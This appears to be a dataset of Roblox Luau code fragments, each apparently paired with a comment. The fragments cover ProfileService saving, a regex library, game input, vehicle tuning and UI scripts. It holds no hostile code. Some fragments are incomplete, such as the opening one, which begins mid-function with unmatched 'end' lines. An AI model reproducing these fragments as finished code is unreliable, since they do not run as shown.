local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]
local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}
local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}
-- "old_" or "new_" global_updates_data = {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
for _, new_global_update in ipairs(new_global_updates_data[2]) do
-- Find old global update with the same update_id:
local old_global_update
for _, global_update in ipairs(old_global_updates_data[2]) do
if global_update[1] == new_global_update[1] then
old_global_update = global_update
break
end
end
-- A global update is new when it didn't exist before or its version_id or update_locked state changed:
local is_new = false
if old_global_update == nil or new_global_update[2] > old_global_update[2] or new_global_update[3] ~= old_global_update[3] then
is_new = true
end
if is_new == true then
-- Active global updates:
if new_global_update[3] == false then
-- Check if update is not pending to be locked: (Preventing firing new active update listeners more than necessary)
local is_pending_lock = false
for _, update_id in ipairs(pending_update_lock) do
if new_global_update[1] == update_id then
is_pending_lock = true
break
end
end
if is_pending_lock == false then
-- Trigger new active update listeners:
global_updates_object._new_active_update_listeners:Fire(new_global_update[1], new_global_update[4])
end
end
-- Locked global updates:
if new_global_update[3] == true then
-- Check if update is not pending to be cleared: (Preventing firing new locked update listeners after marking a locked update for clearing)
local is_pending_clear = false
for _, update_id in ipairs(pending_update_clear) do
if new_global_update[1] == update_id then
is_pending_clear = true
break
end
end
if is_pending_clear == false then
-- Trigger new locked update listeners:
global_updates_object._new_locked_update_listeners:FireUntil(
function()
-- Check if listener marked the update to be cleared:
-- Normally there should be only one listener per profile for new locked global updates, but
-- in case several listeners are connected we will not trigger more listeners after one listener
-- marks the locked global update to be cleared.
return table.find(pending_update_clear, new_global_update[1]) == nil
end,
new_global_update[1], new_global_update[4]
)
end
end
end
end
end
local function SaveProfileAsync(profile, release_from_session)
if type(profile.Data) ~= "table" then
RegisterCorruption(
profile._profile_store._profile_store_name,
profile._profile_store._profile_store_scope,
profile._profile_key
)
error("[ProfileService]: PROFILE DATA CORRUPTED DURING RUNTIME! Profile: " .. profile:Identify())
end
if release_from_session == true then
ReleaseProfileInternally(profile)
end
ActiveProfileSaveJobs = ActiveProfileSaveJobs + 1
local last_session_load_count = profile.MetaData.SessionLoadCount
-- Compare "SessionLoadCount" when writing to profile to prevent a rare case of repeat last save when the profile is loaded on the same server again
local repeat_save_flag = true -- Released Profile save calls have to repeat until they succeed
while repeat_save_flag == true do
if release_from_session ~= true then
repeat_save_flag = false
end
local loaded_data = StandardProfileUpdateAsyncDataStore(
profile._profile_store,
profile._profile_key,
{
ExistingProfileHandle = nil,
MissingProfileHandle = nil,
EditProfile = function(latest_data)
-- 1) Check if this session still owns the profile: --
local active_session = latest_data.MetaData.ActiveSession
local force_load_session = latest_data.MetaData.ForceLoadSession
local session_load_count = latest_data.MetaData.SessionLoadCount
local session_owns_profile = false
local force_load_pending = false
if type(active_session) == "table" then
session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count
end
if type(force_load_session) == "table" then
force_load_pending = not IsThisSession(force_load_session)
end
if session_owns_profile == true then -- We may only edit the profile if this session has ownership of the profile
-- 2) Manage global updates: --
local latest_global_updates_data = latest_data.GlobalUpdates -- {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
local latest_global_updates_list = latest_global_updates_data[2]
local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]
local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}
local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}
-- Active update locking:
for i = 1, #latest_global_updates_list do
for _, lock_id in ipairs(pending_update_lock) do
if latest_global_updates_list[i][1] == lock_id then
latest_global_updates_list[i][3] = true
break
end
end
end
-- Locked update clearing:
for _, clear_id in ipairs(pending_update_clear) do
for i = 1, #latest_global_updates_list do
if latest_global_updates_list[i][1] == clear_id and latest_global_updates_list[i][3] == true then
table.remove(latest_global_updates_list, i)
break
end
end
end
-- 3) Save profile data: --
latest_data.Data = profile.Data
latest_data.MetaData.MetaTags = profile.MetaData.MetaTags -- MetaData.MetaTags is the only actively savable component of MetaData
latest_data.MetaData.LastUpdate = os.time()
if release_from_session == true or force_load_pending == true then
latest_data.MetaData.ActiveSession = nil
end
end
end,
},
profile._is_user_mock
)
if loaded_data ~= nil then
repeat_save_flag = false
-- 4) Set latest data in profile: --
-- Setting global updates:
local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]
local old_global_updates_data = global_updates_object._updates_latest
local new_global_updates_data = loaded_data.GlobalUpdates
global_updates_object._updates_latest = new_global_updates_data
-- Setting MetaData:
local session_meta_data = profile.MetaData
local latest_meta_data = loaded_data.MetaData
for key in pairs(SETTINGS.MetaTagsUpdatedValues) do
session_meta_data[key] = latest_meta_data[key]
end
session_meta_data.MetaTagsLatest = latest_meta_data.MetaTags
-- 5) Check if session still owns the profile: --
local active_session = loaded_data.MetaData.ActiveSession
local session_load_count = loaded_data.MetaData.SessionLoadCount
local session_owns_profile = false
if type(active_session) == "table" then
session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count
end
local is_active = profile:IsActive()
if session_owns_profile == true then
-- 6) Check for new global updates: --
if is_active == true then -- Profile could've been released before the saving thread finished
CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)
end
else
-- Session no longer owns the profile:
-- 7) Release profile if it hasn't been released yet: --
if is_active == true then
ReleaseProfileInternally(profile)
end
-- Cleanup reference in custom write queue:
CustomWriteQueueMarkForCleanup(profile._profile_store._profile_store_lookup, profile._profile_key)
-- Hop ready listeners:
if profile._hop_ready == false then
profile._hop_ready = true
profile._hop_ready_listeners:Fire()
end
end
-- Signaling MetaTagsUpdated listeners after a possible external profile release was handled:
profile.MetaTagsUpdated:Fire(profile.MetaData.MetaTagsLatest)
elseif repeat_save_flag == true then
Madwork.HeartbeatWait() -- Prevent infinite loop in case DataStore API does not yield
end
end
ActiveProfileSaveJobs = ActiveProfileSaveJobs - 1
end
|
--[=[
Adds a callback to be called before save. This may return a promise.
@param callback function -- May return a promise
@return function -- Call to remove
]=]
|
function DataStoreStage:AddSavingCallback(callback)
assert(type(callback) == "function", "Bad callback")
table.insert(self._savingCallbacks, callback)
return function()
self:RemoveSavingCallback(callback)
end
end
|
--Xfabri_YT
|
local l_Player_1 = game.Players.LocalPlayer;
local l_Character_2 = l_Player_1.Character or l_Player_1.CharacterAdded:Wait()
local l_Root_3 = l_Character_2:WaitForChild("HumanoidRootPart");
local l_iPart_4 = workspace.Tower.Tower.Tower.Interactions.InteractionLeverPart;
local l_UIS_5 = game:GetService("UserInputService");
l_UIS_5.InputBegan:Connect(function(p1)
if p1.KeyCode == Enum.KeyCode.E then
if (l_iPart_4.Position - l_Root_3.Position).magnitude < 5 then
workspace.Tower.Tower.Tower.Light.LightLever.LeverEvent:FireServer();
end;
end;
end);
|
-- Ring1 descending
|
for l = 1,#lifts1 do
if (lifts1[l].className == "Part") then
lifts1[l].BodyPosition.position = Vector3.new((lifts1[l].BodyPosition.position.x),(lifts1[l].BodyPosition.position.y-0),(lifts1[l].BodyPosition.position.z))
end
end
wait(0.1)
for p = 1,#parts1 do
parts1[p].CanCollide = false
end
wait(0.1)
|
-- DefaultValue for spare ammo
|
local SpareAmmo = 9999999999999999
|
--[[ Methods ]]
|
--
re_m.test = check_re('RegEx', 'test', function(self, str, init)
return re_rawfind(self.token, to_str_arr(str, init), 1, self.flags, self.verb_flags, true);
end);
re_m.match = check_re('RegEx', 'match', function(self, str, init, source)
local span = re_rawfind(self.token, to_str_arr(str, init), 1, self.flags, self.verb_flags, false);
if not span then
return nil;
end;
return new_match(span, self.group_id, source, str);
end);
re_m.matchall = check_re('RegEx', 'matchall', function(self, str, init, source)
str = to_str_arr(str, init);
local i = 1;
return function()
local span = i <= str.n + 1 and re_rawfind(self.token, str, i, self.flags, self.verb_flags, false);
if not span then
return nil;
end;
i = span[0][2] + (span[0][1] >= span[0][2] and 1 or 0);
return new_match(span, self.group_id, source, str.s);
end;
end);
local function insert_tokenized_sub(repl_r, str, span, tkn)
for _, v in ipairs(tkn) do
if type(v) == "table" then
if v[1] == "condition" then
if span[v[2]] then
if v[3] then
insert_tokenized_sub(repl_r, str, span, v[3]);
else
table.move(str, span[v[2]][1], span[v[2]][2] - 1, #repl_r + 1, repl_r);
end;
elseif v[4] then
insert_tokenized_sub(repl_r, str, span, v[4]);
end;
else
table.move(v, 1, #v, #repl_r + 1, repl_r);
end;
elseif span[v] then
table.move(str, span[v][1], span[v][2] - 1, #repl_r + 1, repl_r);
end;
end;
repl_r.n = #repl_r;
return repl_r;
end;
re_m.sub = check_re('RegEx', 'sub', function(self, repl, str, n, repl_flag_str, source)
if repl_flag_str ~= nil and type(repl_flag_str) ~= "number" and type(repl_flag_str) ~= "string" then
error(string.format("invalid argument #5 to 'sub' (string expected, got %s)", typeof(repl_flag_str)), 3);
end
local repl_flags = {
l = false, o = false, u = false,
};
for f in string.gmatch(repl_flag_str or '', utf8.charpattern) do
if repl_flags[f] ~= false then
error("invalid regular expression substitution flag " .. f, 3);
end;
repl_flags[f] = true;
end;
local repl_type = type(repl);
if repl_type == "number" then
repl ..= '';
elseif repl_type ~= "string" and repl_type ~= "function" and (not repl_flags.o or repl_type ~= "table") then
error(string.format("invalid argument #2 to 'sub' (string/function%s expected, got %s)", repl_flags.o and "/table" or '', typeof(repl)), 3);
end;
if tonumber(n) then
n = tonumber(n);
if n <= -1 or n ~= n then
n = math.huge;
end;
elseif n ~= nil then
error(string.format("invalid argument #4 to 'sub' (number expected, got %s)", typeof(n)), 3);
else
n = math.huge;
end;
if n < 1 then
return str, 0;
end;
local min_repl_n = 0;
if repl_type == "string" then
repl = to_str_arr(repl);
if not repl_flags.l then
local i1 = 0;
local repl_r = table.create(3);
local group_n = self.token.group_n;
local conditional_c = { };
while i1 < repl.n do
local i2 = i1;
repeat
i2 += 1;
until not repl[i2] or repl[i2] == 0x24 or repl[i2] == 0x5C or (repl[i2] == 0x3A or repl[i2] == 0x7D) and conditional_c[1];
min_repl_n += i2 - i1 - 1;
if i2 - i1 > 1 then
table.insert(repl_r, table.move(repl, i1 + 1, i2 - 1, 1, table.create(i2 - i1 - 1)));
end;
if repl[i2] == 0x3A then
local current_conditional_c = conditional_c[1];
if current_conditional_c[2] then
error("malformed substitution pattern", 3);
end;
current_conditional_c[2] = table.move(repl_r, current_conditional_c[3], #repl_r, 1, table.create(#repl_r + 1 - current_conditional_c[3]));
for i3 = #repl_r, current_conditional_c[3], -1 do
repl_r[i3] = nil;
end;
elseif repl[i2] == 0x7D then
local current_conditional_c = table.remove(conditional_c, 1);
local second_c = table.move(repl_r, current_conditional_c[3], #repl_r, 1, table.create(#repl_r + 1 - current_conditional_c[3]));
for i3 = #repl_r, current_conditional_c[3], -1 do
repl_r[i3] = nil;
end;
table.insert(repl_r, { "condition", current_conditional_c[1], current_conditional_c[2] ~= true and (current_conditional_c[2] or second_c), current_conditional_c[2] and second_c });
elseif repl[i2] then
i2 += 1;
local subst_c = repl[i2];
if not subst_c then
if repl[i2 - 1] == 0x5C then
error("replacement string must not end with a trailing backslash", 3);
end;
local prev_repl_f = repl_r[#repl_r];
if type(prev_repl_f) == "table" then
table.insert(prev_repl_f, repl[i2 - 1]);
else
table.insert(repl_r, { repl[i2 - 1] });
end;
elseif subst_c == 0x5C and repl[i2 - 1] == 0x24 then
local prev_repl_f = repl_r[#repl_r];
if type(prev_repl_f) == "table" then
table.insert(prev_repl_f, 0x24);
else
table.insert(repl_r, { 0x24 });
end;
i2 -= 1;
min_repl_n += 1;
elseif subst_c == 0x30 then
table.insert(repl_r, 0);
elseif subst_c > 0x30 and subst_c <= 0x39 then
local start_i2 = i2;
local group_i = subst_c - 0x30;
while repl[i2 + 1] and repl[i2 + 1] >= 0x30 and repl[i2 + 1] <= 0x39 do
group_i ..= repl[i2 + 1] - 0x30;
i2 += 1;
end;
group_i = tonumber(group_i);
if not repl_flags.u and group_i > group_n then
error("reference to non-existent subpattern", 3);
end;
table.insert(repl_r, group_i);
elseif subst_c == 0x7B and repl[i2 - 1] == 0x24 then
i2 += 1;
local start_i2 = i2;
while repl[i2] and
(repl[i2] >= 0x30 and repl[i2] <= 0x39
or repl[i2] >= 0x41 and repl[i2] <= 0x5A
or repl[i2] >= 0x61 and repl[i2] <= 0x7A
or repl[i2] == 0x5F) do
i2 += 1;
end;
if (repl[i2] == 0x7D or repl[i2] == 0x3A and (repl[i2 + 1] == 0x2B or repl[i2 + 1] == 0x2D)) and i2 ~= start_i2 then
local group_k = utf8_sub(repl.s, start_i2, i2);
if repl[start_i2] >= 0x30 and repl[start_i2] <= 0x39 then
group_k = tonumber(group_k);
if not repl_flags.u and group_k > group_n then
error("reference to non-existent subpattern", 3);
end;
else
group_k = self.group_id[group_k];
if not repl_flags.u and (not group_k or group_k > group_n) then
error("reference to non-existent subpattern", 3);
end;
end;
if repl[i2] == 0x3A then
i2 += 1;
table.insert(conditional_c, { group_k, repl[i2] == 0x2D, #repl_r + 1 });
else
table.insert(repl_r, group_k);
end;
else
error("malformed substitution pattern", 3);
end;
else
local c_escape_char;
if repl[i2 - 1] == 0x24 then
if subst_c ~= 0x24 then
local prev_repl_f = repl_r[#repl_r];
if type(prev_repl_f) == "table" then
table.insert(prev_repl_f, 0x24);
else
table.insert(repl_r, { 0x24 });
end;
end;
else
c_escape_char = escape_chars[repl[i2]];
if type(c_escape_char) ~= "number" then
c_escape_char = nil;
end;
end;
local prev_repl_f = repl_r[#repl_r];
if type(prev_repl_f) == "table" then
table.insert(prev_repl_f, c_escape_char or repl[i2]);
else
table.insert(repl_r, { c_escape_char or repl[i2] });
end;
min_repl_n += 1;
end;
end;
i1 = i2;
end;
if conditional_c[1] then
error("malformed substitution pattern", 3);
end;
if not repl_r[2] and type(repl_r[1]) == "table" and repl_r[1][1] ~= "condition" then
repl, repl.n = repl_r[1], #repl_r[1];
else
repl, repl_type = repl_r, "subst_string";
end;
end;
end;
str = to_str_arr(str);
local incr, i0, count = 0, 1, 0;
while i0 <= str.n + incr + 1 do
local span = re_rawfind(self.token, str, i0, self.flags, self.verb_flags, false);
if not span then
break;
end;
local repl_r;
if repl_type == "string" then
repl_r = repl;
elseif repl_type == "subst_string" then
repl_r = insert_tokenized_sub(table.create(min_repl_n), str, span, repl);
else
local re_match;
local repl_c;
if repl_type == "table" then
re_match = utf8_sub(str.s, span[0][1], span[0][2]);
repl_c = repl[re_match];
else
re_match = new_match(span, self.group_id, source, str.s);
repl_c = repl(re_match);
end;
if repl_c == re_match or repl_flags.o and not repl_c then
local repl_n = span[0][2] - span[0][1];
repl_r = table.move(str, span[0][1], span[0][2] - 1, 1, table.create(repl_n));
repl_r.n = repl_n;
elseif type(repl_c) == "string" then
repl_r = to_str_arr(repl_c);
elseif type(repl_c) == "number" then
repl_r = to_str_arr(repl_c .. '');
elseif repl_flags.o then
error(string.format("invalid replacement value (a %s)", type(repl_c)), 3);
else
repl_r = { n = 0 };
end;
end;
local match_len = span[0][2] - span[0][1];
local repl_len = math.min(repl_r.n, match_len);
for i1 = 0, repl_len - 1 do
str[span[0][1] + i1] = repl_r[i1 + 1];
end;
local i1 = span[0][1] + repl_len;
i0 = span[0][2];
if match_len > repl_r.n then
for i2 = 1, match_len - repl_r.n do
table.remove(str, i1);
incr -= 1;
i0 -= 1;
end;
elseif repl_r.n > match_len then
for i2 = 1, repl_r.n - match_len do
table.insert(str, i1 + i2 - 1, repl_r[repl_len + i2]);
incr += 1;
i0 += 1;
end;
end;
if match_len <= 0 then
i0 += 1;
end;
count += 1;
if n < count + 1 then
break;
end;
end;
return from_str_arr(str), count;
end);
re_m.split = check_re('RegEx', 'split', function(self, str, n)
if tonumber(n) then
n = tonumber(n);
if n <= -1 or n ~= n then
n = math.huge;
end;
elseif n ~= nil then
error(string.format("invalid argument #3 to 'split' (number expected, got %s)", typeof(n)), 3);
else
n = math.huge;
end;
str = to_str_arr(str);
local i, count = 1, 0;
local ret = { };
local prev_empty = 0;
while i <= str.n + 1 do
count += 1;
local span = n >= count and re_rawfind(self.token, str, i, self.flags, self.verb_flags, false);
if not span then
break;
end;
table.insert(ret, utf8_sub(str.s, i - prev_empty, span[0][1]));
prev_empty = span[0][1] >= span[0][2] and 1 or 0;
i = span[0][2] + prev_empty;
end;
table.insert(ret, string.sub(str.s, utf8.offset(str.s, i - prev_empty)));
return ret;
end);
|
--Wheelie tune
|
local WheelieD = 3
local WheelieTq = 120
local WheelieP = 8
local WheelieMultiplier = 1.5
local WheelieDivider = 2
|
--!strict
|
local RunService = game:GetService("RunService")
local SteppedEvents = {}
local module = {}
function module:BindToStepped (name: string, func: () -> ())
if SteppedEvents[name] then
SteppedEvents[name]:Disconnect()
end
SteppedEvents[name] = RunService.Stepped:Connect(func)
end
function module:UnbindFromStepped (name: string)
if SteppedEvents[name] then
SteppedEvents[name]:Disconnect()
SteppedEvents[name] = nil
else
warn("Nothing to unbind", name, "was already disconnected.")
end
end
return module
|
--To give the other scripts the dummy name, so it can be easier to make new npcs
|
local Model = script.Parent
script.Parent.Parent.Radius.DummyModel.Value = Model
script:Destroy()
|
-- this is a dummy object that holds the flash made when the gun is fired
|
local FlashHolder = nil
local WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = workspace.Terrain.GetCell
function RayIgnoreCheck(hit, pos)
if hit then
if hit.Transparency >= 1 or string.lower(hit.Name) == "water" or
hit.Name == "Effect" or hit.Name == "Rocket" or hit.Name == "Bullet" or
hit.Name == "Handle" or hit:IsDescendantOf(MyCharacter) then
return true
elseif hit:IsA('Terrain') and pos then
local cellPos = WorldToCellFunction(workspace.Terrain, pos)
if cellPos then
local cellMat = GetCellFunction(workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
if cellMat and cellMat == Enum.CellMaterial.Water then
return true
end
end
end
end
return false
end
|
--[[
Returns the room associated with specified model
]]
|
function RoomManager.getRoomByModel(model)
return rooms:get(model)
end
|
--if color == "Green" then
--wait ()
--elseif color == "Yellow" then
--wait(3)
--elseif color == "Red" then
--wait(0.3)
--end
|
if color == "Green" then
script.Parent.Big.Value = false
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
elseif color == "Yellow" then
if script.Parent.Big.Value == false then
script.Parent.Big.Value = true
script.Parent.heartbeat:Play()
script.Parent.Size = UDim2.new(0.6, 0, 0.6, 0)
script.Parent.Position = UDim2.new(0.219999999, 0, 0.899999976, -3)
wait(1)
elseif script.Parent.Big.Value == true then
script.Parent.Big.Value = false
script.Parent.heartbeatlow:Play()
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
end
elseif color == "Red" then
if script.Parent.Big.Value == false then
script.Parent.Big.Value = true
script.Parent.heartbeat:Play()
script.Parent.Size = UDim2.new(0.6, 0, 0.6, 0)
script.Parent.Position = UDim2.new(0.219999999, 0, 0.899999976, -3)
wait(0.3)
elseif script.Parent.Big.Value == true then
script.Parent.Big.Value = false
script.Parent.heartbeatlow:Play()
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
end
elseif color == "Dead" then
script.Parent.Big.Value = false
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
wait(10)
end
end
|
-- declarations
|
local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Human")
|
--[[**
creates an intersection type
@param ... The checks to intersect
@returns A function that will return true iff the condition is passed
**--]]
|
function t.intersection(...)
local checks = { ... }
assert(callbackArray(checks))
return function(value)
for _, check in ipairs(checks) do
local success = check(value)
if not success then
return false
end
end
return true
end
end
|
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